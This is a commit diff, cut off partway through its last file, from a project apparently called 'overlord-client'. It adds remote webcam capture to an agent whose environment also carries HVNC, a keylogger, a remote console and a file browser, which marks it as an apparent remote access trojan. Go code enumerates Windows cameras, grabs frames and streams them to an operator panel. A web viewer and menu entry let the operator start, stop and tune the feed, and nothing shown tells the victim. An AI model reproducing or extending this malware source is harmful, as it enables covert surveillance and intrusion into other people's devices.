This commit is contained in:
KingKDot
2026-03-08 22:31:11 -05:00
parent 6c05960400
commit 78a79ea3e1
27 changed files with 1352 additions and 12 deletions
@@ -0,0 +1,23 @@
//go:build !windows
package capture
type WebcamDeviceInfo struct {
Index int
Name string
MaxFPS int
}
func ListWebcams() ([]WebcamDeviceInfo, error) {
return []WebcamDeviceInfo{}, nil
}
func ClampWebcamFPS(_ int, requestedFPS int, _ bool) (int, error) {
if requestedFPS < 1 {
requestedFPS = 30
}
if requestedFPS > 120 {
requestedFPS = 120
}
return requestedFPS, nil
}
@@ -0,0 +1,161 @@
//go:build windows
package capture
import (
"fmt"
"math"
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
)
type WebcamDeviceInfo struct {
Index int
Name string
MaxFPS int
}
func ListWebcams() ([]WebcamDeviceInfo, error) {
webcamMu.Lock()
defer webcamMu.Unlock()
temporaryInit := false
if !webcamInitDone {
if err := cam.Init(); err != nil {
return nil, fmt.Errorf("webcam init failed: %w", err)
}
webcamInitDone = true
temporaryInit = true
}
devices, err := cam.EnumDevice()
if err != nil {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return nil, fmt.Errorf("webcam enumerate failed: %w", err)
}
out := make([]WebcamDeviceInfo, 0, len(devices))
for i, dev := range devices {
name := dev.Name
if name == "" {
name = fmt.Sprintf("Camera %d", i+1)
}
maxFPS := 30
if webcamActive != nil && webcamActive.deviceIndex == i && webcamActive.captureFPS > 0 {
maxFPS = int(math.Round(webcamActive.captureFPS))
} else if fps, fpsErr := webcamMaxSupportedFPSNoLock(dev.SymbolLink); fpsErr == nil && fps > 0 {
maxFPS = fps
}
out = append(out, WebcamDeviceInfo{Index: i, Name: name, MaxFPS: maxFPS})
}
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return out, nil
}
func ClampWebcamFPS(deviceIndex int, requestedFPS int, useMax bool) (int, error) {
if requestedFPS < 1 {
requestedFPS = 30
}
if requestedFPS > 120 {
requestedFPS = 120
}
maxFPS, err := webcamMaxSupportedFPS(deviceIndex)
if err != nil {
return requestedFPS, err
}
if maxFPS <= 0 {
return requestedFPS, nil
}
if useMax || requestedFPS > maxFPS {
return maxFPS, nil
}
return requestedFPS, nil
}
func webcamMaxSupportedFPS(deviceIndex int) (int, error) {
webcamMu.Lock()
defer webcamMu.Unlock()
if webcamActive != nil && webcamActive.deviceIndex == deviceIndex && webcamActive.captureFPS > 0 {
return int(math.Round(webcamActive.captureFPS)), nil
}
temporaryInit := false
if !webcamInitDone {
if err := cam.Init(); err != nil {
return 0, fmt.Errorf("webcam init failed: %w", err)
}
webcamInitDone = true
temporaryInit = true
}
devices, err := cam.EnumDevice()
if err != nil {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return 0, fmt.Errorf("webcam enumerate failed: %w", err)
}
if len(devices) == 0 {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return 0, fmt.Errorf("no webcam devices detected")
}
if deviceIndex < 0 || deviceIndex >= len(devices) {
deviceIndex = 0
}
maxFPS, err := webcamMaxSupportedFPSNoLock(devices[deviceIndex].SymbolLink)
if err != nil {
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return 0, err
}
if temporaryInit && webcamActive == nil {
cam.Shutdown()
webcamInitDone = false
}
return maxFPS, nil
}
func webcamMaxSupportedFPSNoLock(symbolLink string) (int, error) {
device, err := cam.OpenDevice(symbolLink)
if err != nil {
return 0, fmt.Errorf("open webcam failed: %w", err)
}
defer device.CloseDevice()
formats, err := device.EnumerateCaptureFormats()
if err != nil {
return 0, fmt.Errorf("enumerate webcam formats failed: %w", err)
}
maxFPS := 0
for _, format := range formats {
if !isJPEGSubtype(format) && !isH264Subtype(format) {
continue
}
fps := int(math.Round(format.Fps))
if fps > maxFPS {
maxFPS = fps
}
}
return maxFPS, nil
}
@@ -0,0 +1,17 @@
//go:build !windows
package capture
import (
"context"
"errors"
rt "overlord-client/cmd/agent/runtime"
)
func NowWebcam(_ context.Context, _ *rt.Env) error {
return errors.New("webcam capture is only supported on Windows")
}
func CleanupWebcam() {
}
@@ -0,0 +1,238 @@
//go:build windows
package capture
import (
"context"
"fmt"
"log"
"sync"
"time"
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
"github.com/Kirizu-Official/windows-camera-go/windows/guid"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
type webcamState struct {
deviceIndex int
device *cam.Device
capture *cam.CaptureSync
format string
captureFPS float64
}
var (
webcamMu sync.Mutex
webcamInitDone bool
webcamActive *webcamState
)
func NowWebcam(ctx context.Context, env *rt.Env) error {
if ctx.Err() != nil {
return nil
}
capture, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex)
if err != nil {
return err
}
sample, err := capture.GetFrame()
if err != nil {
resetWebcamState()
return err
}
if sample == nil || sample.PpSample == nil {
return nil
}
buffer, err := capture.Device.ParseSampleToBuffer(sample.PpSample)
if err != nil {
sample.Release()
return err
}
if buffer == nil {
sample.Release()
return nil
}
frameBytes := make([]byte, int(buffer.Length))
copy(frameBytes, buffer.Buffer[:buffer.Length])
buffer.Release()
sample.Release()
frame := wire.Frame{
Type: "frame",
Header: wire.FrameHeader{
Monitor: deviceIndex,
FPS: 0,
Format: format,
Webcam: true,
},
Data: frameBytes,
}
if ctx.Err() != nil {
return nil
}
// Do not use the stream-cancel context for socket writes; canceling an in-flight
// write during webcam_stop can tear down the whole websocket on some transports.
writeCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
defer cancel()
return wire.WriteMsg(writeCtx, env.Conn, frame)
}
func CleanupWebcam() {
webcamMu.Lock()
closeWebcamLocked()
webcamMu.Unlock()
}
func ensureWebcamCapture(requestedIndex int) (*cam.CaptureSync, int, string, error) {
webcamMu.Lock()
defer webcamMu.Unlock()
if requestedIndex < 0 {
requestedIndex = 0
}
if webcamActive != nil && webcamActive.capture != nil && webcamActive.deviceIndex == requestedIndex {
return webcamActive.capture, webcamActive.deviceIndex, webcamActive.format, nil
}
closeWebcamLocked()
if !webcamInitDone {
if err := cam.Init(); err != nil {
return nil, 0, "", fmt.Errorf("webcam init failed: %w", err)
}
webcamInitDone = true
}
devices, err := cam.EnumDevice()
if err != nil {
return nil, 0, "", fmt.Errorf("webcam enumerate failed: %w", err)
}
if len(devices) == 0 {
return nil, 0, "", fmt.Errorf("no webcam devices detected")
}
if requestedIndex >= len(devices) {
requestedIndex = 0
}
deviceInfo := devices[requestedIndex]
device, err := cam.OpenDevice(deviceInfo.SymbolLink)
if err != nil {
return nil, 0, "", fmt.Errorf("open webcam failed: %w", err)
}
formats, err := device.EnumerateCaptureFormats()
if err != nil {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("enumerate webcam formats failed: %w", err)
}
if len(formats) == 0 {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("no webcam capture formats available")
}
selected, selectedFormat := selectWebcamFormat(formats)
if selected == nil {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("no JPEG/H264 webcam format available")
}
capture, err := device.StartCapture(selected)
if err != nil {
device.CloseDevice()
return nil, 0, "", fmt.Errorf("start webcam capture failed: %w", err)
}
webcamActive = &webcamState{
deviceIndex: requestedIndex,
device: device,
capture: capture,
format: selectedFormat,
captureFPS: selected.Fps,
}
log.Printf("webcam: selected device=%q index=%d format=%s %dx%d@%.2ffps", deviceInfo.Name, requestedIndex, selectedFormat, selected.Width, selected.Height, selected.Fps)
return capture, requestedIndex, selectedFormat, nil
}
func selectWebcamFormat(formats []*cam.CaptureFormats) (*cam.CaptureFormats, string) {
var best *cam.CaptureFormats
bestScore := -1.0
bestFormat := ""
for _, format := range formats {
streamFormat := ""
if isJPEGSubtype(format) {
streamFormat = "jpeg"
} else if isH264Subtype(format) {
streamFormat = "h264"
}
if streamFormat == "" {
continue
}
score := formatScore(format)
if streamFormat == "jpeg" {
score += 100_000_000
}
if streamFormat == "h264" && !format.IsCompressedFormat {
// Prefer compressed H264 camera output where available.
score -= 10_000_000
}
if score > bestScore {
best = format
bestScore = score
bestFormat = streamFormat
}
}
return best, bestFormat
}
func isJPEGSubtype(format *cam.CaptureFormats) bool {
if format == nil || format.SubType == nil {
return false
}
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeMJPG) ||
format.SubType.IsMatch(&guid.SubTypeMediaSubTypeIJPG)
}
func isH264Subtype(format *cam.CaptureFormats) bool {
if format == nil || format.SubType == nil {
return false
}
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeH264)
}
func formatScore(format *cam.CaptureFormats) float64 {
if format == nil {
return -1
}
score := float64(format.Width*format.Height) + format.Fps*1000
if format.IsCompressedFormat {
score += 5_000_000
}
if isJPEGSubtype(format) {
score += 10_000_000
}
if format.MajorType != nil && (*format.MajorType).IsMatch(&guid.MajorTypeVideo) {
score += 1_000_000
}
return score
}
func resetWebcamState() {
webcamMu.Lock()
defer webcamMu.Unlock()
if webcamActive != nil {
webcamActive.device.CloseDevice()
webcamActive = nil
}
}
func closeWebcamLocked() {
if webcamActive != nil {
webcamActive.device.CloseDevice()
webcamActive = nil
}
}
@@ -82,6 +82,18 @@ func resetForReconnect(env *runtime.Env) {
env.HVNCSelectedDisplay = 0
env.HVNCMu.Unlock()
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
env.WebcamCancel()
}
waitStreamStop(env.WebcamDone, "webcam")
env.WebcamCancel = nil
env.WebcamDone = nil
env.WebcamDeviceIndex = 0
env.WebcamFPS = 30
env.WebcamUseMaxFPS = false
env.WebcamMu.Unlock()
if env.Console != nil {
env.Console.StopAll()
}
@@ -1264,6 +1276,97 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_start":
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
env.WebcamCancel()
waitStreamStop(env.WebcamDone, "webcam")
}
webcamCtx, cancel := context.WithCancel(ctx)
env.WebcamCancel = cancel
done := make(chan struct{})
env.WebcamDone = done
goSafe("webcam stream", env.Cancel, func() {
log.Printf("webcam: start requested")
_ = WebcamStart(webcamCtx, env)
close(done)
})
env.WebcamMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_list":
devices, err := capture.ListWebcams()
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
out := make([]wire.WebcamDevice, 0, len(devices))
for _, dev := range devices {
out = append(out, wire.WebcamDevice{Index: dev.Index, Name: dev.Name, MaxFPS: dev.MaxFPS})
}
_ = wire.WriteMsg(ctx, env.Conn, wire.WebcamDevices{Type: "webcam_devices", Devices: out, Selected: env.WebcamDeviceIndex})
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_select":
payload, _ := envelope["payload"].(map[string]interface{})
index := 0
if payload != nil {
if n, ok := payloadInt(payload, "index"); ok {
index = n
}
}
env.WebcamDeviceIndex = index
capture.CleanupWebcam()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_set_fps":
payload, _ := envelope["payload"].(map[string]interface{})
env.WebcamMu.Lock()
isStreaming := env.WebcamCancel != nil
env.WebcamMu.Unlock()
if isStreaming {
sendCommandResultSafe(env, cmdID, false, "stop webcam before changing fps")
return nil
}
fps := env.WebcamFPS
useMax := env.WebcamUseMaxFPS
if payload != nil {
if n, ok := payloadInt(payload, "fps"); ok {
fps = n
}
if v, ok := payload["useMax"].(bool); ok {
useMax = v
}
}
if fps < 1 {
fps = 30
}
if fps > 120 {
fps = 120
}
clampedFPS, clampErr := capture.ClampWebcamFPS(env.WebcamDeviceIndex, fps, useMax)
if clampErr != nil {
log.Printf("webcam: fps clamp fallback requested=%d err=%v", fps, clampErr)
} else {
fps = clampedFPS
}
env.WebcamFPS = fps
env.WebcamUseMaxFPS = useMax
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "webcam_stop":
env.WebcamMu.Lock()
log.Printf("webcam: stop requested")
if env.WebcamCancel != nil {
env.WebcamCancel()
}
waitStreamStop(env.WebcamDone, "webcam")
env.WebcamCancel = nil
env.WebcamDone = nil
env.WebcamMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "console_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
cols, rows := envelopePayloadInts(envelope)
@@ -0,0 +1,55 @@
package handlers
import (
"context"
"log"
"time"
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
)
func WebcamStart(ctx context.Context, env *rt.Env) error {
fps := env.WebcamFPS
if fps <= 0 {
fps = 30
}
if env.WebcamUseMaxFPS {
fps = 60
}
if fps > 120 {
fps = 120
}
interval := time.Second / time.Duration(fps)
log.Printf("webcam: starting stream (max fps %d)", fps)
defer capture.CleanupWebcam()
ticker := time.NewTicker(interval)
defer ticker.Stop()
lastErrText := ""
lastErrLogAt := time.Time{}
for {
select {
case <-ctx.Done():
log.Printf("webcam: stopping stream")
return nil
case <-ticker.C:
if err := capture.NowWebcam(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("webcam: stopping stream")
return nil
}
errText := err.Error()
now := time.Now()
if errText != lastErrText || now.Sub(lastErrLogAt) >= 2*time.Second {
log.Printf("webcam: capture error: %v", err)
lastErrText = errText
lastErrLogAt = now
}
} else {
lastErrText = ""
lastErrLogAt = time.Time{}
}
}
}
}
+6
View File
@@ -34,6 +34,12 @@ type Env struct {
HVNCCancel context.CancelFunc
HVNCDone chan struct{}
HVNCMu sync.Mutex
WebcamDeviceIndex int
WebcamFPS int
WebcamUseMaxFPS bool
WebcamCancel context.CancelFunc
WebcamDone chan struct{}
WebcamMu sync.Mutex
// Other fields
Plugins *plugins.Manager
Keylogger *keylogger.Keylogger
+7
View File
@@ -315,6 +315,9 @@ func shouldRetryImmediately(err error) bool {
if strings.Contains(msg, "timed out from inactivity") {
return true
}
if strings.Contains(msg, "use of closed network connection") || strings.Contains(msg, "failed to get reader") {
return true
}
return false
}
@@ -499,6 +502,10 @@ func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher
if ctx.Err() != nil {
return err
}
var closeErr *websocket.CloseError
if errors.As(err, &closeErr) {
log.Printf("readLoop: websocket close code=%d reason=%q", closeErr.Code, closeErr.Reason)
}
log.Printf("readLoop: read error: %v", err)
return err
}
@@ -48,6 +48,7 @@ type FrameHeader struct {
FPS int `msgpack:"fps"`
Format string `msgpack:"format"`
HVNC bool `msgpack:"hvnc,omitempty"`
Webcam bool `msgpack:"webcam,omitempty"`
}
type Frame struct {
@@ -185,3 +186,15 @@ type Notification struct {
Keyword string `msgpack:"keyword,omitempty"`
TS int64 `msgpack:"ts,omitempty"`
}
type WebcamDevice struct {
Index int `msgpack:"index"`
Name string `msgpack:"name"`
MaxFPS int `msgpack:"maxFps,omitempty"`
}
type WebcamDevices struct {
Type string `msgpack:"type"`
Devices []WebcamDevice `msgpack:"devices"`
Selected int `msgpack:"selected"`
}
+3 -1
View File
@@ -1,6 +1,6 @@
module overlord-client
go 1.23
go 1.24
require (
github.com/creack/pty v1.1.21
@@ -13,6 +13,7 @@ require (
)
require (
github.com/Kirizu-Official/windows-camera-go v0.2.0
github.com/gen2brain/malgo v0.11.24
golang.org/x/sys v0.24.0
)
@@ -25,4 +26,5 @@ require (
github.com/jezek/xgb v1.1.1 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
)
+6 -2
View File
@@ -1,3 +1,5 @@
github.com/Kirizu-Official/windows-camera-go v0.2.0 h1:wF8s6US/me/d5WaBeoHGVKE8mBOl83kKTfMV38YYQ3g=
github.com/Kirizu-Official/windows-camera-go v0.2.0/go.mod h1:zMP4SmblRxD6zQHe4X07CHO4lnNcWo6zeZhQavO2aLQ=
github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
@@ -35,7 +37,9 @@ github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg=
golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q=
nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c=
+8
View File
@@ -83,6 +83,9 @@ function applyMenuSupportRules(clientId) {
const hvncBtn = menu.querySelector('[data-open="hvnc"]');
setAvailability(hvncBtn, isWindows, "HVNC is only supported on Windows clients.");
const webcamBtn = menu.querySelector('[data-open="webcam"]');
setAvailability(webcamBtn, isWindows, "Webcam viewer is only supported on Windows clients.");
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
setAvailability(
keyloggerBtn,
@@ -595,6 +598,11 @@ menu.addEventListener("click", async (e) => {
closeMenu(clearContext);
return;
}
if (open === "webcam") {
window.open(`/webcam?clientId=${contextCard}`, "_blank", "noopener");
closeMenu(clearContext);
return;
}
if (open === "hvnc") {
window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener");
closeMenu(clearContext);
+1
View File
@@ -7,6 +7,7 @@ menu.innerHTML = `
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-emerald-800 bg-emerald-900/50 hover:bg-emerald-800/70 text-emerald-100 flex items-center gap-2" data-open="console"><i class="fa-solid fa-terminal"></i> Open Console</button>
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-teal-800 bg-teal-900/45 hover:bg-teal-800/65 text-teal-100 flex items-center gap-2" data-open="voice"><i class="fa-solid fa-headset"></i> Voice Support</button>
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-purple-800 bg-purple-900/50 hover:bg-purple-800/70 text-purple-100 flex items-center gap-2" data-open="remotedesktop"><i class="fa-solid fa-desktop"></i> Remote Desktop</button>
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-emerald-800 bg-emerald-900/45 hover:bg-emerald-800/65 text-emerald-100 flex items-center gap-2" data-open="webcam"><i class="fa-solid fa-video"></i> Webcam Viewer</button>
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-violet-800 bg-violet-900/50 hover:bg-violet-800/70 text-violet-100 flex items-center gap-2" data-open="hvnc"><i class="fa-solid fa-ghost"></i> HVNC</button>
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-blue-800 bg-blue-900/50 hover:bg-blue-800/70 text-blue-100 flex items-center gap-2" data-open="files"><i class="fa-solid fa-folder-tree"></i> File Browser</button>
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-orange-800 bg-orange-900/50 hover:bg-orange-800/70 text-orange-100 flex items-center gap-2" data-open="processes"><i class="fa-solid fa-list-check"></i> Process Manager</button>
+379
View File
@@ -0,0 +1,379 @@
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
(function () {
const clientId = new URLSearchParams(location.search).get("clientId");
if (!clientId) {
alert("Missing clientId");
return;
}
const clientLabel = document.getElementById("clientLabel");
const startBtn = document.getElementById("startBtn");
const stopBtn = document.getElementById("stopBtn");
const cameraSelect = document.getElementById("cameraSelect");
const refreshCameras = document.getElementById("refreshCameras");
const fpsInput = document.getElementById("fpsInput");
const applyFps = document.getElementById("applyFps");
const viewerFps = document.getElementById("viewerFps");
const statusEl = document.getElementById("streamStatus");
const canvas = document.getElementById("frameCanvas");
const ctx = canvas.getContext("2d");
clientLabel.textContent = clientId;
let ws = null;
let desiredStreaming = false;
let streamState = "connecting";
let renderCount = 0;
let renderWindowStart = performance.now();
let videoDecoder = null;
let h264TimestampUs = 0;
let availableDevices = [];
let selectedDeviceIndex = 0;
function selectedDeviceMaxFps() {
const selected = availableDevices.find((dev) => (Number(dev.index) || 0) === selectedDeviceIndex);
const max = Number(selected?.maxFps) || 0;
return max > 0 ? Math.min(120, max) : 120;
}
function applyFpsInputLimits() {
const maxFps = selectedDeviceMaxFps();
fpsInput.max = String(maxFps);
const current = Number(fpsInput.value) || 30;
if (current > maxFps) {
fpsInput.value = String(maxFps);
}
}
function applyFpsSettings() {
if (streamState === "streaming" || streamState === "starting" || streamState === "stopping") {
setStreamState("error", "Stop stream before changing FPS");
return;
}
const maxFps = selectedDeviceMaxFps();
const fps = Math.max(1, Math.min(maxFps, Number(fpsInput.value) || 30));
if ((Number(fpsInput.value) || 30) > maxFps) {
fpsInput.value = String(maxFps);
setStreamState("idle", `FPS capped to camera max (${maxFps})`);
}
send("webcam_set_fps", { fps, useMax: false });
}
function requestCameraList() {
send("webcam_list");
}
function renderCameraList(devices, selected) {
availableDevices = Array.isArray(devices) ? devices : [];
cameraSelect.innerHTML = "";
if (!availableDevices.length) {
const opt = document.createElement("option");
opt.value = "0";
opt.textContent = "No cameras detected";
cameraSelect.appendChild(opt);
cameraSelect.disabled = true;
return;
}
cameraSelect.disabled = false;
for (const dev of availableDevices) {
const idx = Number(dev.index) || 0;
const maxFps = Number(dev.maxFps) || 0;
const opt = document.createElement("option");
opt.value = String(idx);
opt.textContent = maxFps > 0
? `${dev.name || `Camera ${idx + 1}`} (max ${maxFps} FPS)`
: (dev.name || `Camera ${idx + 1}`);
cameraSelect.appendChild(opt);
}
selectedDeviceIndex = Number(selected) || 0;
const selectedOpt = Array.from(cameraSelect.options).find((o) => Number(o.value) === selectedDeviceIndex);
if (selectedOpt) {
cameraSelect.value = selectedOpt.value;
} else if (cameraSelect.options.length) {
cameraSelect.value = cameraSelect.options[0].value;
}
selectedDeviceIndex = Number(cameraSelect.value) || 0;
applyFpsInputLimits();
}
function isH264KeyFrame(data) {
for (let i = 0; i + 4 < data.length; i++) {
let startCodeLen = 0;
if (data[i] === 0x00 && data[i + 1] === 0x00 && data[i + 2] === 0x01) {
startCodeLen = 3;
} else if (
i + 4 < data.length &&
data[i] === 0x00 &&
data[i + 1] === 0x00 &&
data[i + 2] === 0x00 &&
data[i + 3] === 0x01
) {
startCodeLen = 4;
}
if (!startCodeLen) continue;
const nalIndex = i + startCodeLen;
if (nalIndex >= data.length) break;
const nalType = data[nalIndex] & 0x1f;
if (nalType === 5) {
return true;
}
i = nalIndex;
}
return false;
}
function destroyVideoDecoder() {
if (!videoDecoder) return;
try {
videoDecoder.close();
} catch {}
videoDecoder = null;
}
function ensureVideoDecoder() {
if (videoDecoder) return true;
if (typeof VideoDecoder !== "function") return false;
try {
videoDecoder = new VideoDecoder({
output: (frame) => {
const width = frame.displayWidth || frame.codedWidth || canvas.width;
const height = frame.displayHeight || frame.codedHeight || canvas.height;
if (width > 0 && height > 0 && (canvas.width !== width || canvas.height !== height)) {
canvas.width = width;
canvas.height = height;
}
try {
ctx.drawImage(frame, 0, 0, canvas.width, canvas.height);
} finally {
frame.close();
}
},
error: (err) => {
console.warn("webcam h264 decoder error", err);
},
});
videoDecoder.configure({ codec: "avc1.42E01E", optimizeForLatency: true });
h264TimestampUs = 0;
return true;
} catch (err) {
console.warn("webcam h264 decoder unavailable", err);
destroyVideoDecoder();
return false;
}
}
function setStreamState(state, text) {
streamState = state;
const icons = {
connecting: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
starting: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
stopping: '<i class="fa-solid fa-circle-notch fa-spin"></i>',
streaming: '<i class="fa-solid fa-circle text-emerald-400"></i>',
idle: '<i class="fa-solid fa-circle text-slate-400"></i>',
offline: '<i class="fa-solid fa-plug-circle-xmark text-rose-400"></i>',
disconnected: '<i class="fa-solid fa-link-slash text-slate-400"></i>',
error: '<i class="fa-solid fa-circle-exclamation text-rose-400"></i>',
};
const label = text ||
(state === "streaming" ? "Streaming" :
state === "starting" ? "Starting" :
state === "stopping" ? "Stopping" :
state === "offline" ? "Client offline" :
state === "disconnected" ? "Disconnected" :
state === "error" ? "Error" :
"Stopped");
statusEl.innerHTML = `${icons[state] || icons.idle} <span>${label}</span>`;
const wsOpen = ws && ws.readyState === WebSocket.OPEN;
const streamLocked = streamState === "streaming" || streamState === "starting" || streamState === "stopping";
startBtn.disabled = !wsOpen || streamState === "starting" || streamState === "streaming";
stopBtn.disabled = !wsOpen || (streamState !== "starting" && streamState !== "streaming");
refreshCameras.disabled = !wsOpen;
applyFps.disabled = !wsOpen || streamLocked;
fpsInput.disabled = !wsOpen || streamLocked;
if (state === "idle" || state === "offline" || state === "disconnected" || state === "error") {
viewerFps.textContent = "--";
renderCount = 0;
renderWindowStart = performance.now();
}
}
function updateViewerFps() {
const now = performance.now();
renderCount += 1;
const elapsed = now - renderWindowStart;
if (elapsed >= 1000) {
viewerFps.textContent = String(Math.round((renderCount * 1000) / elapsed));
renderCount = 0;
renderWindowStart = now;
}
}
async function drawJpeg(bytes) {
const blob = new Blob([bytes], { type: "image/jpeg" });
const bitmap = await createImageBitmap(blob);
canvas.width = bitmap.width;
canvas.height = bitmap.height;
ctx.drawImage(bitmap, 0, 0, bitmap.width, bitmap.height);
bitmap.close();
updateViewerFps();
setStreamState("streaming", "Streaming");
}
function handleFrame(data) {
const bytes = new Uint8Array(data);
if (bytes.length < 8) return;
if (bytes[0] !== 0x46 || bytes[1] !== 0x52 || bytes[2] !== 0x4d) return;
const format = bytes[6];
const payload = bytes.slice(8);
if (!payload.length) return;
if (format === 1) {
drawJpeg(payload).catch((err) => {
console.warn("webcam draw failed", err, "payloadBytes=", payload.length);
});
return;
}
if (format === 4) {
if (!ensureVideoDecoder()) {
setStreamState("error", "H264 decoder unavailable in browser");
return;
}
try {
const isKey = isH264KeyFrame(payload);
const chunk = new EncodedVideoChunk({
type: isKey ? "key" : "delta",
timestamp: h264TimestampUs,
data: payload,
});
h264TimestampUs += 66_666;
videoDecoder.decode(chunk);
updateViewerFps();
setStreamState("streaming", "Streaming");
} catch (err) {
console.warn("webcam h264 decode failed", err, "payloadBytes=", payload.length);
}
return;
}
console.warn("webcam unsupported frame format", format, "payloadBytes=", payload.length);
}
function send(type, payload = {}) {
if (!ws || ws.readyState !== WebSocket.OPEN) return;
ws.send(encodeMsgpack({ type, ...payload }));
}
function handleControlMessage(msg) {
if (!msg || typeof msg !== "object") return;
if (msg.type === "webcam_devices") {
renderCameraList(msg.devices, msg.selected);
return;
}
if (msg.type === "ready") {
setStreamState("idle", "Ready");
return;
}
if (msg.type === "status") {
if (msg.status === "offline") {
desiredStreaming = false;
setStreamState("offline", msg.reason || "Client offline");
} else if (msg.status === "connecting") {
setStreamState("idle", "Ready");
} else if (msg.status === "online") {
setStreamState("idle", "Ready");
}
}
}
function connect() {
const protocol = location.protocol === "https:" ? "wss://" : "ws://";
ws = new WebSocket(`${protocol}${location.host}/api/clients/${clientId}/webcam/ws`);
ws.binaryType = "arraybuffer";
setStreamState("connecting", "Connecting");
ws.onopen = () => {
requestCameraList();
applyFpsSettings();
if (desiredStreaming) {
send("webcam_start");
setStreamState("starting", "Starting");
} else {
setStreamState("idle", "Stopped");
}
};
ws.onmessage = (event) => {
if (event.data instanceof ArrayBuffer) {
const bytes = new Uint8Array(event.data);
if (bytes.length >= 4 && bytes[0] === 0x46 && bytes[1] === 0x52 && bytes[2] === 0x4d) {
handleFrame(event.data);
return;
}
}
const msg = decodeMsgpack(event.data);
handleControlMessage(msg);
};
ws.onclose = () => {
setStreamState("disconnected", "Disconnected");
setTimeout(connect, 3000);
};
ws.onerror = () => {
setStreamState("error", "Connection error");
};
}
startBtn.addEventListener("click", () => {
desiredStreaming = true;
applyFpsSettings();
send("webcam_start");
setStreamState("starting", "Starting");
});
stopBtn.addEventListener("click", () => {
desiredStreaming = false;
send("webcam_stop");
setStreamState("stopping", "Stopping");
setTimeout(() => {
if (streamState === "stopping") {
setStreamState("idle", "Stopped");
}
}, 300);
});
window.addEventListener("beforeunload", () => {
if (ws && ws.readyState === WebSocket.OPEN) {
send("webcam_stop");
}
destroyVideoDecoder();
});
refreshCameras.addEventListener("click", () => {
requestCameraList();
});
cameraSelect.addEventListener("change", () => {
